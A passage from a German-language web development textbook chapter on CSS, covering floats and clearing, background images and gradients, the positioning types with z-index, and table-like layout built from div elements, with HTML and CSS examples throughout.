  <img src="..." alt="..." id="pic">
  Er hörte leise Schritte hinter sich. Das bedeutete nichts Gutes. Wer würde ihm schon folgen, spät in der Nacht und dazu noch in dieser engen Gasse mitten im übel beleumundeten Hafenviertel? Gerade jetzt, wo er das Ding seines Lebens gedreht hatte und mit der Beute verschwinden wollte! Hatte einer seiner zahllosen Kollegen dieselbe Idee gehabt, ihn beobachtet und abgewartet, um ihn nun um die Früchte seiner Arbeit zu erleichtern?
</p>
...


        Dieser Problematik kann man mithilfe eines Tricks Herr werden: Weist man dem umschließenden Element die Eigenschaft overflow:hidden; zu, so vergrößert sich wie durch Zauberhand der umschließende Container, obwohl man aus der ersten Intuition heraus wohl das Gegenteil angenommen hätte (siehe Abbildung 6.36).

        p {
  overflow:hidden;
}


        
            [image: Umflossene Elemente tragen nicht zur Höhe des umschließenden Elements bei, wie aus der Darstellung der Hintergrundfarbe ersichtlich wird.]

            Abbildung 6.35    
            Umflossene Elemente tragen nicht zur Höhe des umschließenden Elements bei, wie aus der Darstellung der Hintergrundfarbe ersichtlich wird.

        
        
            [image: »overflow:hidden;« als Problemlöser]

            Abbildung 6.36    
            »overflow:hidden;« als Problemlöser

        
        Der Grund liegt darin, dass durch das Anwenden von overflow ein Block Formatting Context generiert wird:

        »Block formatting contexts are important for the positioning (see float) and clearing (see clear) of floats. The rules for positioning and clearing of floats apply only to things within the same block formatting context. Floats do not affect the layout of things in other block formatting contexts, and clear only clears past floats in the same block formatting context.« (Quelle: https://www.w3.org/TR/CSS2/visuren.html#block-formatting)


        Der Trick stammt noch aus der Zeit von CSS 2, weshalb die Quellenangabe auch schon etwas in die Jahre gekommen ist – gültig ist sie nach wie vor. Dennoch hat auch die Developer-Site von Mozilla das Thema noch einmal gründlich aufgegriffen und überarbeitet (siehe https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context).

        Das Umfließen setzt sich im Übrigen auch auf folgende Textbereiche fort, sollte es nicht (bewusst und gezielt) unterbrochen werden, wie der folgende Code und Abbildung 6.37 darstellen:

        ...
<img src="..." alt="..." id="pic">
<p>
  <strong>Text 1:</strong> ...
</p>
<p id="p1">
  <strong>Text 2:</strong> ...
</p>
...


        
            [image: Zu umfließende (»gefloatete«) Elemente werden so lange von Inhalt umflossen, wie Inhalt bereitsteht.]

            Abbildung 6.37    
            Zu umfließende (»gefloatete«) Elemente werden so lange von Inhalt umflossen, wie Inhalt bereitsteht.

        
        Möchten Sie diesen fortlaufenden Fluss unterbrechen, so ist dies mithilfe der clear-Eigenschaft möglich. Diese kann entweder einen Linksfluss (clear:left;), einen Rechtsfluss (clear:right;) oder jeglichen Fluss (clear:both;) löschen, indem Sie demjenigen Element, das den Fluss unterbrechen soll, diese Eigenschaft zuweisen. In unserem Fall wäre das der zweite Absatz in Abbildung 6.38:

        #p1 {
  clear:left;
}


        
            [image: Die Eigenschaft »clear« eliminiert (löscht) ein eventuell vorhandenes Umfließen.]

            Abbildung 6.38    
            Die Eigenschaft »clear« eliminiert (löscht) ein eventuell vorhandenes Umfließen.

        
        Wie erwähnt, können Elemente einen Links- oder Rechtsfluss besitzen. Falls Sie sich jedoch nach der Möglichkeit sehnen, auch einen mittigen Umfluss zu erhalten, muss ich Sie enttäuschen: Eine solche Möglichkeit existiert (leider) nicht. Neben float: left | right | none beherrscht der Mozilla Firefox auch noch die Werte inline-start und inline-end, die sich auf die Leserichtungen left-to-right (ltr) oder right-to-left (rtl) beziehen. Weil jedoch lediglich der Firefox damit umgehen kann, macht ein Einsatz im realen Leben wenig Sinn.

    


                    
                        
        6.12    Der Hintergrund als Gestaltungselement

        Nachdem Sie bereits in HTML verschiedene Formen für den Einsatz von Bildern kennengelernt haben, wollen wir nun auch Hintergrundelemente angehen. Ganz allgemein sind Hintergrundelemente solche, die sich hinter dem Inhalt der Website befinden. Übrigens: Dass Sie den Hintergrund (die Hintergründe) einer Webseite sehr gut steuern können, erfahren Sie in Abschnitt 6.13, »Positionierungsarten – Normal Flow vs. individuelle Positionierung«, in dem wir uns die Eigenschaft z-index ansehen.

        Hintergründe können in unterschiedlichen Varianten auf Webseiten eingesetzt werden. Sie sind natürlich nicht nur dem Body vorbehalten, sondern können auf (fast) alle HTML-Elemente angewendet werden:

        
            	
                als Hintergrundfarbe: background-color mit einer beliebigen Farbangabe in RGB, Hex, HSL etc.

            

            	
                als Hintergrundbild: background-image

            

            	
                als Hintergrundverlauf: background-gradient

            

        

        Die Hintergrundfarbe selbst benötigt in der Regel wenig Erklärung: Sie gibt an, wie der Hintergrund eines Elements eingefärbt werden soll.

        Daneben stellt sich noch die Frage, an welcher Position im Boxmodell der Hintergrund (Bild oder Verlauf) beginnen soll. Den Usprung für das Hintergrundbild bzw. den Hintergrundverlauf entscheidet die Eigenschaft background-origin, die Sie auf die Werte border-box, content-box oder padding-box setzen können. Vergleiche Sie hierzu den folgenden CSS-Code samt Abbildung 6.39.

        div {
  background-repeat:no-repeat;
  border:0.5em solid rgba(255,255,255,0.5);
  padding:1em;
  border-radius:0.2em;
  margin:0.25em;
  height:12em;
  width:12em;
}
.color {
  background-color:steelblue;
}
.gradient {
  background:linear-gradient(to left, blue, red);
}
.image {
  background:url(../../medien/testbild.png);
}


        Die Platzierung der Elemente erfolgt in diesem Beispiel über Flexboxen – so weit sind wir noch nicht, aber diese Methode passt gut, um eine ansprechende visuelle Darstellung zu erhalten.

        
            [image: Die »background-origin« für das Hintergrundbild sowie den Hintergrundverlauf; die Hintergrundfarbe ignoriert diese Eigenschaft.]

            Abbildung 6.39    
            Die »background-origin« für das Hintergrundbild sowie den Hintergrundverlauf; die Hintergrundfarbe ignoriert diese Eigenschaft.

        
        Fällt Ihnen beim Gradienten auf, dass die Rahmen teilweise eigenartig unterlegt sind? Der Grund hierfür ist die Eigenschaft background-clip, denn diese Eigenschaft gibt an, in welcher Box (Border-, Padding- oder Content-Box) der Hintergrund dargestellt werden soll. Da der Standardwert für diese Eigenschaft border-box ist, muss der Hintergrund auch unterhalb des (teiltransparenten) Rahmens dargestellt werden.

        Weil aber der Gradient im ersten und zweiten Fall erst innerhalb der Content- bzw. Padding-Box beginnt, muss seine Farbe auch außerhalb der gewählten Box dargestellt werden (dies erzwingt background-clip) – und zwar am Anfang die letzte Farbe (hier: Rot) und am Ende die erste Farbe (hier: Blau).

        Aus diesem Grund sollten Sie im Falle (teil-)transparenter Rahmen die Border-Box als background-origin wählen oder die Eigenschaft background-clip entsprechend anpassen, wie folgender Codeschnipsel beispielhaft zeigt:

        div {
  background-origin:padding-box;
  background-clip:padding-box;
}


        Angewandt auf unser Beispiel, würden wir dann das Ergebnis aus Abbildung 6.40 erhalten.

        
            [image: Durch das Anpassen der Eigenschaft »background-clip« können wir nun auch steuern, wo der Hintergrund dargestellt werden soll.]

            Abbildung 6.40    
            Durch das Anpassen der Eigenschaft »background-clip« können wir nun auch steuern, wo der Hintergrund dargestellt werden soll.

        
        Fassen wir also zusammen:

        
            	
                background-origin legt fest, in welcher Box (Border-, Padding- oder Content-Box) mit der Darstellung des Hintergrundes begonnen werden soll.

            

            	
                background-clip wiederum legt fest, in welcher Box der Hintergrund dargestellt werden soll; gerne wird diese Eigenschaft auch für Texte eingesetzt, denen ein Hintergrundbild (oder ein Farbverlauf) zugewiesen werden soll.

            

        

        
            6.12.1    Hintergrundbilder sind keine Bilder

            Vorab sei eines gesagt: Ein Hintergrundbild ist kein Bild. Tja, kluge Worte, aber was soll uns das sagen? Nun, bedenken Sie, was Sie im Rahmen von HTML gehört haben: »Die Semantik ist entscheidend.«

            Ein img oder ein picture stellen aus Sicht eines Interpreters (Browser, Suchmaschine etc.) ein Bild dar; der CSS-Code, der ein Bild als Dekoration darstellt (und mehr ist ein Hintergrundbild ja nicht), wird von einem solchen Interpreter nicht erkannt und ist demnach semantisch wertlos. Behalten Sie dies bitte im Hinterkopf, wenn Sie Hintergrundbilder einsetzen: Mehr als ein dekoratives Asset sind sie nicht!

            Man kann dem Hintergrund ein Bild oder mehrere Bilder zuweisen. Diese können sich von der Lage und auch von der Transparenz überlagern, sollte dies gewünscht sein.

            background-image:url(Pfad zur Bilddatei);
background-repeat: no-repeat | repeat-x | repeat-y | repeat;


            
                	
                    background-position:x-Richtung y-Richtung;

                    Mögliche Werte (in Worten) sind: left | center | right bzw. top | center | bottom;. Alternativ können auch andere Werte wie etwa prozentuelle Werte oder fixe Angaben (in Pixel, em etc.) verwendet werden. Beispiele wären etwa:

                    
                        	
                            background-position:left top;: links oben

                        

                        	
                            background-position:left center;: links mittig

                        

                        	
                            background-position:center;: horizontal wie vertikal zentriert

                        

                        	
                            background-position:100px 20em;: 100 px von links und 20 em von oben

                        

                    

                

                	
                    background-size:horizontal vertikal;

                    Mögliche Werte sind: cover | contain | initial bzw. wiederum Angaben in Pixel, em, % etc.

                

                	
                    background-attachment: scroll | fixed;

                

            

            Zur Erklärung:

            
                	
                    background-image legt das oder die zu verwendenden Hintergrundbilder fest. Diese werden zunächst in der Größe des Bildes selbst am Bildschirm dargestellt. Die Standardposition des Bildes ist links oben.

                

                	
                    background-repeat legt fest, ob das Bild in x- und/oder y-Richtung oder gar nicht wiederholt werden soll, sofern es von seiner Größe her passt.

                

                	
                    background-position legt die Position des Hintergrundbildes fest; Standard ist die linke obere Ecke.

                

                	
                    background-size legt fest, in welcher Größe das Hintergrundbild dargestellt wird.

                

                	
                    background-attachment legt fest, ob das Hintergrundbild mitscrollen kann oder fix an seiner Position stehen bleibt.

                

            

            Bedenken Sie auch die Eigenschaften background-clip und background-origin, die wir etwas weiter oben besprochen haben.

            
                [»]  Der Einsatz von Hintergrundbildern

                Hintergrundbilder sollten dort zum Einsatz kommen, wo das Bild ausschließlich einen dekorativen Zweck besitzt. Soll mit dem Bild eine Information (das Bild einer Vase in einem Online-Shop etc.) vermittelt werden, so ist ein Hintergrundbild fehl am Platz.

            

        
        
            6.12.2    Das Farbenspiel der Hintergrundverläufe

            Der Verlauf an sich ist keine typische Eigenschaft für den Hintergrund, sondern vielmehr eine allgemeine CSS-Eigenschaft, die gerne für den Hintergrund verwendet wird.

            Man unterscheidet zwei Arten:

            
                	
                    linear

                

                	
                    radial (kreisförmig)

                

            

            Entscheiden Sie sich für den linearen Gradienten, so können Sie folgende Eigenschaften angeben:

            
                	
                    die Richtung (von oben nach unten, von links nach rechts, in einem bestimmten Winkel etc.)

                

                	
                    die Verlaufsfarben (beliebig viele)

                

            

            Die Richtung kann folgende Werte annehmen: to left | to right | to bottom | to top, und das in allen möglichen Kombinationen, also etwa:

            
                	
                    to left ergibt einen horizontalen Verlauf von rechts nach links.

                

                	
                    to bottom right ergibt einen schrägen Verlauf von links oben nach rechts unten.

                

                	
                    to top left ergibt einen schrägen Verlauf von rechts unten nach links oben.

                

            

            Ebenso kann die Richtung in Form eines Winkels angegeben werden, also etwa als ‐50deg.

            Die allgemeine Schreibweise lautet:

            background:linear-gradient(Richtung, Farbe1 Startposition Endposition, Farbe2 Startposition Endposition, Farbe3 Startposition Endposition, ...);

            wobei die Start- und Endposition optional sind und die Anzahl der Farben variabel ist. Ein mögliches Beispiel wäre:

            background:linear-gradient(to left, red, green, rgb(255,213,99), #93c5a6, hsl(56,60%,59%));

            Das ergibt einen horizontalen Verlauf von rechts nach links, der mit Rot beginnt, dann über Grün, Gelb (rgb(255,213,99)), Cyan (#93c5a6) zu einem gelblichen Grün (hsl(56,60%,59%)) wird. Abbildung 6.41 zeigt das Ergebnis.

            Ein anderes Beispiel wäre ein Verlauf, der als solcher gar nicht zu erkennen ist. In diesem Fall werden die Positionen der Farben mit angegeben (siehe Abbildung 6.42).

            
                [image: Lineare Gradienten-Spielerei, Teil 1]

                Abbildung 6.41    
            Lineare Gradienten-Spielerei, Teil 1

            
            
                [image: Ein Gradient, der nicht wie ein Gradient aussieht. Gradienten-Spielerei, Teil 2]

                Abbildung 6.42    
            Ein Gradient, der nicht wie ein Gradient aussieht. Gradienten-Spielerei, Teil 2

            
            Der zugehörige Code wäre:

            background: linear-gradient(
  to right,
  hsl(240,100%,50%) 20%,
  hsl(240,100%,60%) 20% 40%,
  hsl(240,100%,70%) 40% 60%,
  hsl(240,100%,80%) 60% 80%,
  hsl(240,100%,90%) 80%
);


            Weitere Beispiele zu Gradienten finden Sie unter https://developer.mozilla.org/en-US/docs/Web/CSS/gradient/linear-gradient.

            Eine sehr hilfreiche Site, um eigene Gradienten zusammenzustellen, ist https://cssgradient.io/ (siehe Abbildung 6.43). Hier fällt es wirklich leicht, den Code generieren zu lassen. Das einzige Manko ist, dass die Site auch auf sehr alte Browser Rücksicht nimmt (und somit mehr CSS-Code produziert, als notwendig wäre), was in unseren Zeiten eigentlich nicht mehr von Bedeutung ist.

            
                [image: Die »beste« Website zum Generieren von Gradienten]

                Abbildung 6.43    
            Die »beste« Website zum Generieren von Gradienten

            
        
    


                    
                        
        6.13    Positionierungsarten – Normal Flow vs. individuelle Positionierung

        Über die Eigenschaften von blockartigen Elementen wissen Sie bis dato Folgendes:

        
            	
                Block-Elemente nehmen sich immer den gesamten horizontal zur Verfügung stehenden Platz (auch wenn sie diesen – beispielsweise durch Angabe einer Breite – nicht brauchen).

            

            	
                Ein Block-Element steht auf dem Bildschirm unter dem im HTML-Code vorangehenden Block-Element. Mit anderen Worten, es gilt »ein Blockelement nach dem anderen«. Man nennt dies auch den »normalen Fluss« innerhalb eines übergeordneten Elements.

            

        

        Der Fachbegriff für dieses Verfahren ist Normal Flow: Sollte kein vorangegangenes Stylesheet in diese Form der Positionierung eingegriffen haben und dürfen wir immer noch auf die Regeln aus dem Browser-Stylesheet vertrauen, so haben wir es mit dieser Art der Positionierung von Elementen zu tun.

        Der eigentliche Grund für Punkt 2 ist also, dass solche Block-Elemente eine spezielle Positionierungsart erhalten haben, die durch ein vorangegangenes Stylesheet definiert wurde (üblicherweise durch das Browser-Stylesheet; das User-Stylesheet könnte natürlich auch eingreifen, tut dies in der Regel aber nicht). Diese Positionierungsart nennt sich static und sie wird – sofern sie explizit zugewiesen wird – mittels position:static; angegeben. Die statische Positionierungsart ermöglicht keine Definition eines Offsets, d. h., man kann keine Positionsangaben festlegen. Alle Elemente, die nicht statisch positioniert sind, nennt man positionierte Elemente.

        Gehen wir für die folgenden Beispiele von diesem HTML-Code aus, noch ohne eine Positionierung vorzunehmen:

        <div id="c1">Element 1</div>
<div id="c2">Element 2</div>
<div id="c3">Element 3</div>
<div id="c4">
  Element 4
  <div id="c4-1">Element 4-1</div>
</div>
<div id="c5">Element 5</div>
<div id="c6">
  Element 6
  <div id="c6-1">Element 6-1</div>
</div>


        Das Ergebnis wäre eine statische Positionierung sämtlicher Container (siehe Abbildung 6.44). Würden Sie versuchen, den zweiten Container in seinem Offset zu verschieben, so würde dies keinen Effekt liefern:

        #c2 {
  left:1em;
  top:1em;
  background-color:lightblue;
}


        Neben der statischen Positionierungsart existieren noch vier weitere Positionierungsarten, die wir uns in den folgenden Abschnitten ansehen: position:relative, position:absolute, position:fixed und position:sticky.

        
            [image: Statisch positionierte Elemente kümmern sich nicht um Offset-Angaben.]

            Abbildung 6.44    
            Statisch positionierte Elemente kümmern sich nicht um Offset-Angaben.

        
        
            6.13.1    position:relative

            position:relative funktioniert wie static, jedoch können Sie mithilfe der Eigenschaften top, right, bottom und left Offsetangaben setzen (vom im HTML-Code vorangegangenen Element, das als static oder relativ positioniert wurde). Folgende oder vorangegangene Elemente sind vom Offset jedoch nicht betroffen, weshalb es zu Überlappungen kommen kann.

            Mithilfe des z-index kann ein Stapel erzeugt werden (dazu später mehr). Weiters erzeugt die relative Positionierungsart einen Orientierungspunkt (Referenzpunkt) für im HTML-Code unterverschachtelte weitere Block-Elemente, die eventuell absolut oder auch relativ positioniert werden (aber dazu in Kürze mehr).

            Würde man den Offset hingegen einem relativ positionierten Element zuweisen, so würde dies die Sachlage ändern (siehe Abbildung 6.45):

            #c3 {
  position:relative;
  left:1em;
  top:1em;
  background-color:lightgreen;
}


            
                [image: Relativ positionierte Elemente erlauben einen Offset, wodurch es zu Überlappungen von Elementen kommen kann, da sich die vorangegangenen bzw. folgenden Elemente nicht von der Stelle rühren.]

                Abbildung 6.45    
            Relativ positionierte Elemente erlauben einen Offset, wodurch es zu Überlappungen von Elementen kommen kann, da sich die vorangegangenen bzw. folgenden Elemente nicht von der Stelle rühren.

            
        
        
            6.13.2    position:absolute

            Absolut positionierte Elemente werden aus dem aktuellen Elementfluss herausgenommen und können nun in einer dritten Dimension (z-Achse) unter Angabe der Eigenschaft z-index vor (z-Index >0) oder hinter (z-Index <0) andere Elemente positioniert werden. Üblicherweise – aber nicht notwendigerweise – legt man mit top, right, bottom, left bzw. width und height eine Position und eine Größe des Elements fest, wobei sich das absolut positionierte Element am (übergeordnet) nächsten Element orientiert, das nicht statisch positoniert ist.

            Betrachten wir einmal das Element 5, das wir nun absolut positionieren, jedoch noch ohne Angabe einer Position. Folgendes wird nun geschehen: Einerseits wird das Element aus dem Fluss der restlichen Elemente herausgenommen, wodurch Platz für die folgenden Elemente frei wird (die nach oben rücken werden). Andererseits wird sich das Element über die anderen Elemente legen, da der z-index auf den Wert auto gesetzt wird. Nachdem das Element nun aber über kein Element mehr verfügt, an dessen Breite und Höhe es sich orientieren kann, wird das Element 5 auf diejenige Größe zusammenschrumpfen, die es benötigt (siehe Abbildung 6.46):

            #c5 {
  position:absolute;
  background-color:lightcyan;
}


            
                [image: Absolut positionierte Elemente ohne Angabe einer Größe schrumpfen auf die minimal benötigte Größe zusammen. Ganz allgemein gilt, dass sie sich aus dem Fluss der Elemente herausnehmen.]

                Abbildung 6.46    
            Absolut positionierte Elemente ohne Angabe einer Größe schrumpfen auf die minimal benötigte Größe zusammen. Ganz allgemein gilt, dass sie sich aus dem Fluss der Elemente herausnehmen.

            
            Der wesentlich üblichere Weg ist jedoch derjenige, dass ein absolut positioniertes Element unter Angabe von vier Werten aus den sechs Möglichkeiten top, right, bottom, left, width, height an eine definierte Stelle und auf eine definierte Größe gesetzt wird (siehe Abbildung 6.47):

            #c5 {
  position:absolute;
  top:10em;
  left:7em;
  width:20em;
  height:15em;
  background-color:lightcyan;
}


            
                [image: Nun ist das absolut positionierte Element mit allen üblichen Angaben versehen; lediglich eine Angabe des »z-index« fehlt noch. Sie ist jedoch nicht zwingend erforderlich.]

                Abbildung 6.47    
            Nun ist das absolut positionierte Element mit allen üblichen Angaben versehen; lediglich eine Angabe des »z-index« fehlt noch. Sie ist jedoch nicht zwingend erforderlich.

            
            Ein letztes, fehlendes Glied in der Kette ist die Angabe eines z-index, der etwas weiter unten im Text beschrieben wird. Eine noch ungeklärte Frage ist jedoch die, an welchem Element sich das absolut positionierte Element ausrichtet. Einer ersten Intuition folgend, könnte man die linke obere Ecke des Bildschirms annehmen, sofern dem Element ein Abstand left und top zugewiesen wurde. Was jedoch, wenn das Element in ein anderes Element unterverschachtelt ist, wie dies etwa im Fall der Elemente 4-1 oder 6-1 ist? Testen wir’s aus, indem wir das Element 4-1 ebenfalls absolut positionieren – und zwar genau an die Stelle, an der sich auch das Element 5 befindet, nur mit unterschiedlichen Größenangaben:

            #c4-1 {
  position:absolute;
  top:10em;
  left:7em;
  width:30em;
  height:20em;
  background-color:steelblue;
}


            Bevor wir einen Blick auf Abbildung 6.48 werfen, überlegen wir einmal, was geschehen wird:

            
                	
                    Wird das Element über oder unter dem Element 5 zu liegen kommen? Die Antwort ist: Darunter, da keines der beiden Elemente einen z-index erhalten hat und somit die Reihenfolge der Elemente im HTML-Code zählt. Weil Element 5 weiter unten im HTML-Code ist, überdeckt es Element 4-1.

                

                	
                    Wo wird sich das Element 4-1 ausrichten: am linken oberen Eck des body oder am linken oberen Eck des übergeordneten Elements 4? Die Antwort ist: Am linken oberen Eck des body. Der Grund ist, dass die absolute Positionierung relativ zu dem nächsten übergeordneten, positionierten Element erfolgt. Zur Erinnerung: Statisch positionierte Elemente bezeichnet man nicht als »positioniert«, alle anderen Positionierungsarten hingegen schon.

                

            

            Das Ergebnis sehen Sie in Abbildung 6.48.

            
                [image: Auch dieses absolut positionierte Element orientiert sich zunächst am »body« (dem ihm in der Hierarchie nächsten Element, das nicht statisch positioniert ist).]

                Abbildung 6.48    
            Auch dieses absolut positionierte Element orientiert sich zunächst am »body« (dem ihm in der Hierarchie nächsten Element, das nicht statisch positioniert ist).

            
            Würde man hingegen das Element 4 (also das übergeordnete Element von Element 4‐1) nicht statisch, sondern etwa relativ positionieren, so könnte sich Element 4-1 an diesem Element ausrichten (siehe Abbildung 6.49):

            #c4 {
  position:relative;
}


            
                [image: Sobald das übergeordnete Element nicht mehr statisch positioniert ist, richtet sich das untergeordnete Element an ihm aus.]

                Abbildung 6.49    
            Sobald das übergeordnete Element nicht mehr statisch positioniert ist, richtet sich das untergeordnete Element an ihm aus.

            
        
        
            6.13.3    position:fixed

            Die fixe Positionierung darf man sich wie die absolute Positionierung vorstellen, jedoch orientieren sich fix positionierte Elemente immer am sogenannten Viewport (das ist die linke obere Ecke unseres Browserinhaltsbereichs). Fix positionierte Elemente scrollen deshalb nicht mit dem Content mit, sollte ein Scrollbar vorhanden sein. Gerne verwendet man solch eine Positionierung für sogenannte Overlays, die – einen geeigneten z-Index vorausgesetzt – über allen anderen Elementen zu liegen kommen, aber nicht mit dem Inhalt mitscrollen (siehe Abbildung 6.49):

            #c1 {
  position:fixed;
  width:15em;
  height:15em;
  left:15em;
  top:15em;
  z-index:10;
  color:orange;
}


            
                [image: Mit »fixed« positionierte Elemente scrollen nicht mit dem restlichen Inhalt mit.]

                Abbildung 6.50    
            Mit »fixed« positionierte Elemente scrollen nicht mit dem restlichen Inhalt mit.

            
        
        
            6.13.4    position:sticky

            Die sticky-Positionierung ist eine Mischung aus relativer und fixer Positionierung. Zunächst ist das Element relativ positioniert, jedoch kann dem Element ein Bereich vorgegeben werden, in dem es hängen bleiben soll, sollte es außerhalb des Bereichs gescrollt werden, der für das Element vorgesehen ist.

            Gerne wird die sticky-Positionierung für Navigationen verwendet, die so lange im Content mitscrollen sollen, bis diese gegebenenfalls dann außerhalb des sichtbaren Bereichs gelangen würden: Dann sollen sie hängen bleiben. In diesem Fall würde etwa die top-Position für die sticky-Positionierung herangezogen werden.

            Um dies zu demonstrieren, habe ich ein siebtes Element sowie etwas Text in unser Beispiel eingefügt, um einen Scrollbereich zu simulieren (siehe Abbildung 6.51):

            #c7 {
  position:sticky;
  top:1em;
  background-color:snow;
}


            
                [image: Mit »sticky« positionierte Elemente scrollen mit dem Content mit, bis sie ihre definierte Grenze erreicht haben. Beachten Sie auch die Scrollposition.]

                Abbildung 6.51    
            Mit »sticky« positionierte Elemente scrollen mit dem Content mit, bis sie ihre definierte Grenze erreicht haben. Beachten Sie auch die Scrollposition.

            
            Warum liegt das Element 7 nun über dem Element 5? Das kommt daher, dass dem Element 7 kein z-index zugewiesen wurde und es deshalb an der Reihenfolge seines Vorkommens im HTML-Code gemessen wird. Wird nun im Fenster gescrollt und müsste das Element 7 über den in diesem Fall oberen Bildschirmrand hinauswandern bzw. genauer gesagt den Abstand von einem em von oben unterschreiten, so bleibt das Element an dieser Stelle kleben (siehe Abbildung 6.52).

            
                [image: Das Element 7 bleibt ein »em« vor der oberen Viewport-Kante kleben.]

                Abbildung 6.52    
            Das Element 7 bleibt ein »em« vor der oberen Viewport-Kante kleben.

            
        
        
            6.13.5    Der z-index

            Im Falle der Positionierungsarten absolute, fixed und relative kommt der z-index zum Tragen, der die dritte Dimension der Darstellungsebene angibt. Stellen Sie sich diese dritte Dimension wie Klarsichtfolien vor, die vor (oder auch hinter) dem Bildschirm platziert werden. (Der Bildschirm hat übrigens den z-Index 0.) Höhere z-Indizes überdecken demnach niedrigere z-Indizes, wie Abbildung 6.53 zeigt.

            
                [image: Der z-Index definiert die dritte Dimension (z-Achse) und somit eine Art Schichten, die vor (bzw. hinter) der Bildschirmoberfläche liegen.]

                Abbildung 6.53    
            Der z-Index definiert die dritte Dimension (z-Achse) und somit eine Art Schichten, die vor (bzw. hinter) der Bildschirmoberfläche liegen.

            
            
                [+]  Tipps zu den Positionierungsarten

                
                    	
                        Wählen Sie die z-Indizes idealerweise nicht in den Schritten 1, 2, 3 usw., sondern in 10er- oder auch 20er-usw.-Schritten, da es so wesentlich einfacher wird, Schichten dazwischen zu ergänzen.

                    

                    	
                        Verwenden Sie die absolute Positionierung in Maßen, denn eigentlich ist sie im Web eher unerwünscht, da sie sich nur schwer anpasst (da eine fixe Ausrichtung von links | rechts | oben | unten verwendet wird). Gerne wird sie für Aufklapp-Navigationen verwendet.

                    

                    	
                        Verwenden Sie die fixe Positionierung für Overlays oder auch für Navigationen (die fix an einer Position bleiben sollen) oder ähnliche Zwecke.

                    

                    	
                        Verwenden Sie die sticky-Positionierung für Navigationen, die in einem gewissen Bereich mitscrollen.

                    

                    	
                        Die relative Positionierung darf immer verwendet werden; manchmal ersetzt man sogar alle statisch positionierten Elemente durch relative Elemente, da sie keinen Schaden anrichten, sondern nur Vorteile mit sich bringen:

                        * {
  position:relative;
}


                    

                

            

        
    


                    
                        
        6.14    Tabellenartiges Design mit CSS

        In früheren Tagen der Webentwicklung wurden Tabellen aufgrund ihres rasterartigen Aufbaus gerne für grafisches Design verwendet, denn was eignet sich besser für ein spalten- und zeilenartiges Design als eine Tabelle – zumindest dachte man früher so (heute sind wir gescheiter und verwenden Flex- und Grid-Systeme). Wie Sie bereits in Kapitel 5, »HTML – Die Grundlage einer Website«, gesehen haben, ist dies jedoch alles andere als erwünscht, da HTML für (beinahe) alle Elemente eine entsprechende Semantik (Bedeutung) vorgesehen hat. Im Falle von Tabellen ist dies eben die tabellarische Darstellung von Daten und nicht ein tabellenartiges Design (Table-driven Design).

        Nichtsdestotrotz kann ein solches tabellenartiges Design mithilfe von CSS aus beliebigen Containern realisiert werden, wie Tabelle 6.6 zeigt.

        
            
                
                    	
                        Tabelle in HTML

                    
                    	
                        Tabellenartiges Design mit CSS

                    
                

            
            
                
                    	
                        <table>
  <caption>Eine 'echte' Tabelle
</caption>
  <tr>
    <td>A</td>
    <td>B</td>
    <td>C</td>
  </tr>
  <tr>
    <td>D</td>
    <td>E</td>
    <td>F</td>
  </tr>
</table> 


                    
                    	
                        <div class="tabelle">
  <div class="beschriftung">Tabellenartiges Design</div>
  <div class="zeile">
    <div class="zelle">A</div>
    <div class="zelle">B</div>
    <div class="zelle">C</div>
  </div>
  <div class="zeile">
    <div class="zelle">D</div>
    <div class="zelle">E</div>
    <div class="zelle">F</div>
  </div>
</div> 


                    
                

            
        

        Tabelle 6.6    
            HTML- vs. CSS-Tabellen (nur Struktur)

        Ohne eine speziellen Darstellungsangabe für die Klassen tabelle, zeile und zelle ist und bleibt ein div nichts anderes als ein Block-Element, weshalb die Darstellung in Abbildung 6.54 noch etwas nüchtern wirkt.

        
            [image: Von der Verschachtelung der Elemente her identisch, von der Darstellung her (noch) unterschiedlich.]

            Abbildung 6.54    
            Von der Verschachtelung der Elemente her identisch, von der Darstellung her (noch) unterschiedlich.

        
        Um ein tabellenartiges Design zu erzeugen, müssen Sie die jeweiligen div-Elemente (es kann sich natürlich um fast ein jedes HTML-Element handeln und muss kein div sein) so formatieren, dass ein Browser sie entsprechend der Tabellenelemente darstellen kann:

        
            	
                display:table stellt ein beliebiges Element tabellenartig dar; CSS setzt diese Eigenschaft auch für <table> ein.

            

            	
                display:table-row stellt ein beliebiges Element zeilenartig dar; wird für <tr> eingesetzt.

            

            	
                display:table-cell stellt ein beliebiges Element zellenartig dar; wird für <td> eingesetzt.

            

            	
                display:table-caption stellt ein Element als Beschriftungselement einer Tabelle dar; wird für <caption> eingesetzt.

            

        

        Fügt man den geeigneten CSS-Code hinzu, um die div-Elemente als tabellenartige Elemente darzustellen, so sieht die Sache schon gleich viel besser aus (siehe auch Abbildung 6.55):

        .tabelle {
  display:table;
  border-spacing:0.15em;
}
.zeile {
  display:table-row;
}
.zelle {
  display:table-cell;
}
.beschriftung {
  display: table-caption;
  caption-side: top; 
} 


        
            [image: Die beiden Tabellen ähneln sich aufs Haar. Eine davon ist aber gar keine Tabelle, sondern wird nur tabellenartig dargestellt.]

            Abbildung 6.55    
            Die beiden Tabellen ähneln sich aufs Haar. Eine davon ist aber gar keine Tabelle, sondern wird nur tabellenartig dargestellt.

        
        Perfekt! Geschafft: Aus einfachen div-Elementen haben wir eine Tabelle gezaubert.

        
            [»]  Rahmendarstellung

            Sollten Sie das Beispiel ausprobieren, so denken Sie bitte daran, dass – auch im Falle von Tabellen – Rahmenlinien nur dann dargestellt werden, wenn diese auch definiert sind. Aus diesem Grund habe ich im folgenden Beispiel Rahmenlinien hinzugefügt – zwingend notwendig wären diese Rahmen natürlich nicht.

        

        Lehnen wir uns einmal kurz zurück und überlegen wir, was uns dieses Wissen bringt. Der größte Vorteil ist nun, dass wir in der Lage sind, aus einer beliebigen HTML-Struktur ein tabellenartiges Design zu machen, was aber auch zur Folge hat, dass wir CSS-Table-driven Design machen können, wann und wo wir wollen.

        Der Grund, warum dieses Table-driven Design so verpönt ist, ist ja die Tatsache, dass eine HTML-Tabelle dazu missbraucht wurde, grafisches Design mit ihr zu vollbringen, was eben aus Sicht von HTML nicht korrekt ist. Mit CSS-Tabellen ist dies ja nicht der Fall, denn die Semantik ist einzig und allein eine Angelegenheit von HTML. Im Folgenden und in Abbildung 6.56 sehen Sie ein Beispiel für Table-driven Design:

        <table>
  <caption>Table-driven Design (semantisch falsch)</caption>
  <tr>
    <td><img src="../../medien/47Puzzle/Puzzle_3-2.jpg" alt="3-2"></td>
    <td><img src="../../medien/47Puzzle/Puzzle_2-3.jpg" alt="2-3"></td>
    <td><img src="../../medien/47Puzzle/Puzzle_1-1.jpg" alt="1-1"></td>
  </tr>
